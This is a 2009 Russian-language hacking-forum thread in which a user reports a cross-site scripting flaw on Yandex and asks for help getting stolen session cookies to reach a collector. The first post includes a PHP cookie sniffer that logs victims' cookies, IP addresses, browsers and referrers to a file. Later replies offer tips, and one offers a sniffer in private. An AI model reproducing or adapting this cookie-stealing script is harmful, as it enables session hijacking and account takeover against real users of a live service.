Активная xss на Яндекс

Discussion in 'Уязвимости Mail-сервисов' started by Uex Urgent, 26 Sep 2009.

  1. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    235
    Likes Received:
    461
    Reputations:
    452
    нашел полуактивную xss на яндекс. Пытаюсь подставить сниффер, не получается, вернее при запросе (document.cookie) все кукисы выдаются, а при замене запроса на сниффер, кукисы на сниффер не приходят.

    Готов поделиться xss с тем, кто подскажет работающий сниффер для яндекса (поделюсь xss после проверки снифа), использовал стандартный от Kaniq и этот сниф, но кукисы не пришли

    PHP:
    <?PHP  
    $Cookies 
    UrlDecode(getenv("QUERY_STRING"));  
    $Date date("d-m-y H:i:s"time());  
    $browser getenv("HTTP_USER_AGENT");  
    $ref getenv("HTTP_REFERER");      
    $ip getenv("REMOTE_ADDR");  
    $text 
    $Cookies:  
    $Date:  
    $browser:  
    $ref:  
    $ip:  
    $query";  

    $filelog fopen("base.php","a+");  
    fwrite($filelog,"\n $text \n"); 
    fclose($filelog);  
    header('Location: http://somesite.ru');     
    ?>
    На майле сниффер работает, на яндексе не работает. :rolleyes:

    Подсказка сниффера тут, помощь в реализации в аську.
     
    _________________________
    #1 Uex Urgent, 26 Sep 2009
    Last edited: 28 Sep 2009
    1 person likes this.
  2. warlok

    warlok Elder - Старейшина

    Joined:
    17 Feb 2008
    Messages:
    328
    Likes Received:
    142
    Reputations:
    81
    ну и как там может быть?)) ты скорей всего неправильно составил свою xss, тя гдето фильтры режут.
     
  3. Neogan

    Neogan Banned

    Joined:
    26 Sep 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    в личку черкни отличный сниф кину
     
  4. JOHNik

    JOHNik Member

    Joined:
    21 Apr 2009
    Messages:
    51
    Likes Received:
    14
    Reputations:
    0
    Снифферу пох где работать, надо уметь пользоваться просто )